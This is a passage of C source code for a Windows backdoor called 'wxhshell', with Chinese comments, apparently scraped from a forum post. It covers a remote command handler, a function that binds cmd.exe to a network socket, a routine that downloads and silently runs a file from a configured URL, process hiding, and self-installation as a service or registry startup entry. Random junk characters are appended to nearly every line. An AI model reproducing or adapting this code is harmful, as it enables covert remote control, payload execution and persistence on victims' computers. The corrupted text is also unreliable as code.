  // 帮助 G!I++M"  
  case '?': { ?_gvI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QlGK+I>y;  
    break; H2jypVs$2  
  } fF0K].  
  // 安装 Y5GN7.  
  case 'i': { ;I*t5{  
    if(Install()) SSF:PTeG>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4~Cf_`X}]  
    else ([q>.[WbH]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7I[[S!((s  
    break; wMCMrv:  
    } )jL@GW  
  // 卸载 mx}5":}  
  case 'r': { vb~%u;zrC@  
    if(Uninstall()) l\{Qnb(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LOkgeJuWv  
    else `?$-T5Rr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i 7]o[  
    break; EcHZ mf  
    } h/\v+xiF  
  // 显示 wxhshell 所在路径 66?`7j X  
  case 'p': { Hi[lN7ma8  
    char svExeFile[MAX_PATH]; !hQ-i3?qm  
    strcpy(svExeFile,"\n\r"); _ooHB>sH  
      strcat(svExeFile,ExeFile); fh =R  
        send(wsh,svExeFile,strlen(svExeFile),0); B@-\.m  
    break; \>:t={>;  
    } -I5]#%eX^  
  // 重启 V Dnrm*  
  case 'b': { j4i$2ZT'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zdJPMNHg  
    if(Boot(REBOOT)) ']2Vf] dB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *I?-A(e  
    else { 6E) T;R(@  
    closesocket(wsh); *x8~}/[T(F  
    ExitThread(0); 28^/By:J  
    } HCOsVTl,  
    break; c(hC'Cp  
    } rmw}Ui"  
  // 关机 -J63'bb7oi  
  case 'd': { ]CP5s5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @] .s^ss9_  
    if(Boot(SHUTDOWN)) (Yj6 |`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); On);SN'  
    else { Tr;.%/4Q  
    closesocket(wsh); \)28,`  
    ExitThread(0); RbUir185Y  
    } Qf0P"s`  
    break; BMAWjEr  
    } qsp3G7\'=  
  // 获取shell %. ((4 6)  
  case 's': { R~oY R,L;  
    CmdShell(wsh); ,'c%S|]U7  
    closesocket(wsh); \&vXp"-@  
    ExitThread(0); 1W*Qc_5 v1  
    break; [5xm>Y&}  
  } 9Y2u/|!.3  
  // 退出 5L6.7}B  
  case 'x': { <6]Hj2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MkVv5C  
    CloseIt(wsh); !m\By%(  
    break; ,Z|O y|+'  
    } '(r?($s  
  // 离开 =z5=?  
  case 'q': { BpA7 z/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (1S9+H>g  
    closesocket(wsh); 1<x5{/CZ  
    WSACleanup(); wa[J\lW  
    exit(1); im<!JMI  
    break; n\I s}Czl  
        } KUX6n(u  
  } ~C 3 Y/}  
  } fPN/Mxu  
5Zc  
  // 提示信息 uu4! e{K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f4<~_ZGr  
} EO'+r[Y  
  } u@Gum|_=N  
? }^ y6  
  return; b^[>\s'  
} t`&mszd~T  
\W_ Dz*N  
// shell模块句柄 :OU(fz]  
int CmdShell(SOCKET sock) bg3kGt0  
{ c5f57Z  
STARTUPINFO si; n"iaE  
ZeroMemory(&si,sizeof(si)); e+Mm!\ ;`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rfdA?X{Q0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _j$V[=kdM/  
PROCESS_INFORMATION ProcessInfo; ,f>^ q"  
char cmdline[]="cmd"; ^38k xwh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0*^f EoV  
  return 0; S%]4['Y  
} k!qOE\%B  
GXx'"SK9  
// 自身启动模式 ~>]Ie~E: (  
int StartFromService(void) MAqETjB  
{ Z^F>sUMR  
typedef struct 8oHIXnK  
{ k"dE?v\cG  
  DWORD ExitStatus; T8LvdzS  
  DWORD PebBaseAddress; Qmd2C&Xw  
  DWORD AffinityMask; lh0G/8+C  
  DWORD BasePriority; |L;Hd.l7^*  
  ULONG UniqueProcessId; " d~M \Az  
  ULONG InheritedFromUniqueProcessId; HE4S%#bH>  
}   PROCESS_BASIC_INFORMATION; WFug-#;e  
P'5Lu  
PROCNTQSIP NtQueryInformationProcess; U GOe(JB  
'6WZi|(a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8/"uS;yP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D_f :D^  
-uAGG?ZER  
  HANDLE             hProcess; `ER#S_}  
  PROCESS_BASIC_INFORMATION pbi; K/(Z\lL  
qk&BCkPT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /KiaLS  
  if(NULL == hInst ) return 0; |c]L]PU  
R8% u9o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bnp:J|(ld  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 00W_XhJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a<pEVV\NB~  
>]bS"S  
  if (!NtQueryInformationProcess) return 0; Q>=/u-  
8r.MODZG/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w@N)Pu  
  if(!hProcess) return 0; "g!/^A!!  
\bSakh71  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )A;jBfr  
^3&-!<*  
  CloseHandle(hProcess); IgF#f%|Q  
|Pse=_i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,l)AYu!q4F  
if(hProcess==NULL) return 0; Z!?T&:  
Iak06E  
HMODULE hMod; n*=Tm KQ  
char procName[255]; B8-Y)u1G  
unsigned long cbNeeded; T6,6lll  
t1l4mdp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3A b_Z  
No/D"S#  
  CloseHandle(hProcess); 1$c[G}h  
i\L7z)u  
if(strstr(procName,"services")) return 1; // 以服务启动 .O4=[wE!U  
~;uW) [  
  return 0; // 注册表启动 $)O\i^T  
} du=[r  
"FfP&lF/  
// 主模块 ?7*J4.  
int StartWxhshell(LPSTR lpCmdLine) 0vz!)  
{ 0[OlJMVf  
  SOCKET wsl; hcD.-(-;)  
BOOL val=TRUE; L: _pJP  
  int port=0;  YP}r15P  
  struct sockaddr_in door; =~ j S  
h3-dJgb  
  if(wscfg.ws_autoins) Install(); 6FI`0j=~  
%aJ8wYj*  
port=atoi(lpCmdLine); ,6\oT;G  
QtqE&j  
if(port<=0) port=wscfg.ws_port; ViG-tb   
=$%_asQJ  
  WSADATA data; <d hBO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V_Y2@4  
fPsUIlI/A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k{C|{m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^d/,9L\U  
  door.sin_family = AF_INET; .$-%rU:*}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q}7(w$&  
  door.sin_port = htons(port); ML_[Z_Q<z  
T+<OlXpL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \E:l E/y  
closesocket(wsl); ~D Ta% J  
return 1; "CWqPcr  
} Js8d{\0\  
2k""/xMF'  
  if(listen(wsl,2) == INVALID_SOCKET) { fxX4 !r  
closesocket(wsl); Q-S5("  
return 1; ,HO@bCK  
} Q\v^3u2;m`  
  Wxhshell(wsl); bMF`KRP2  
  WSACleanup(); gNo}\ lm4V  
 *}`D2_uP  
return 0; N u9+b"Wr  
X6c['Zrc  
} ?9AtFT  
V\><6v  
// 以NT服务方式启动 ,1-#Z"~c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c`G~.paY|  
{ |h1 Y3  
DWORD   status = 0;  w4p<q68  
  DWORD   specificError = 0xfffffff; >5=uq _QY  
yE),GJ-m\<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %Nm69j-5%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HTUY|^^D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FiJU *  
  serviceStatus.dwWin32ExitCode     = 0; naKB2y]l  
  serviceStatus.dwServiceSpecificExitCode = 0; ns[Q %_  
  serviceStatus.dwCheckPoint       = 0; t12 xPtN1  
  serviceStatus.dwWaitHint       = 0; L%O( I  
ZnYoh/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d#G H4+C  
  if (hServiceStatusHandle==0) return; (!`]S>_w9  
.9;wJ9Bw[  
status = GetLastError(); ('.r_F  
  if (status!=NO_ERROR) -J=N  
{ ~,.}@XlgT.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4 U`5=BI  
    serviceStatus.dwCheckPoint       = 0; ,t_Fo-i7vI  
    serviceStatus.dwWaitHint       = 0; b:}+l;e5 2  
    serviceStatus.dwWin32ExitCode     = status; KFMEY\6\h  
    serviceStatus.dwServiceSpecificExitCode = specificError; G_a//[p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gcf EJN4'  
    return; 14v,z;HXj  
  } DR6 OR B7  
V|8`]QW@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Fps.Fhm  
  serviceStatus.dwCheckPoint       = 0; SLG3u;Ab  
  serviceStatus.dwWaitHint       = 0; HJu;4O($  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j;']L}R  
} [m 3k_;[  
w oSI 2i  
// 处理NT服务事件,比如:启动、停止 B}y-zj; T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |YAnd=$  
{ 7EAkY`Op  
switch(fdwControl) ;ywQk| r  
{  P7GF"/  
case SERVICE_CONTROL_STOP: %A<|@OSdOa  
  serviceStatus.dwWin32ExitCode = 0; c);(+b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aGz <Yip  
  serviceStatus.dwCheckPoint   = 0; J<{@D9r9<~  
  serviceStatus.dwWaitHint     = 0; U0:tE>3`  
  { )cy_d!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ` cgS yRD]  
  } i`1QR@11  
  return; <2a7>\74E0  
case SERVICE_CONTROL_PAUSE: D'823,-).  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c*g(R.!  
  break; `n!<h,S'2  
case SERVICE_CONTROL_CONTINUE: #Mz N7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w<]Wg^dyQ  
  break; 'nM)=  
case SERVICE_CONTROL_INTERROGATE: M/,jHG8v  
  break; &<P!o_+eb  
}; PiRbdl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f`j RLo*L  
} G*|2qX"o  
Qx mVImn"  
// 标准应用程序主函数 y^oSVj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y`u.P(7#  
{ b)A$lP%`  
J 8"Cw<=O  
// 获取操作系统版本 Iz#h:O  
OsIsNt=GetOsVer(); (Js'(tBhiU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h.6yI  
.hCOi<wB  
  // 从命令行安装 In)#`E` g.  
  if(strpbrk(lpCmdLine,"iI")) Install(); %@{);5[  
'%>$\Lv  
  // 下载执行文件 4V7{5:oa  
if(wscfg.ws_downexe) { av1*i3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [lsr[`SJ<  
  WinExec(wscfg.ws_filenam,SW_HIDE); By 8C-jD  
} l\yFx  
uSs~P%@6|  
if(!OsIsNt) { g=;c*{  
// 如果时win9x,隐藏进程并且设置为注册表启动 7ST[XLwt%}  
HideProc(); Pv`^#BX'  
StartWxhshell(lpCmdLine); SZCF db  
} dOFxzk,g&R  
else 3H%oTgWk  
  if(StartFromService()) otXB:a  
  // 以服务方式启动 XY5I5H_U  
  StartServiceCtrlDispatcher(DispatchTable); =^P<D&%q  
else J}coWjw`q  
  // 普通方式启动 <8Qa"<4f;  
  StartWxhshell(lpCmdLine); 1e;^Mz B"  
l|fOi A*K  
return 0; j+n1k^jC  
}
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只看该作者 1 发表于: 2006-10-10
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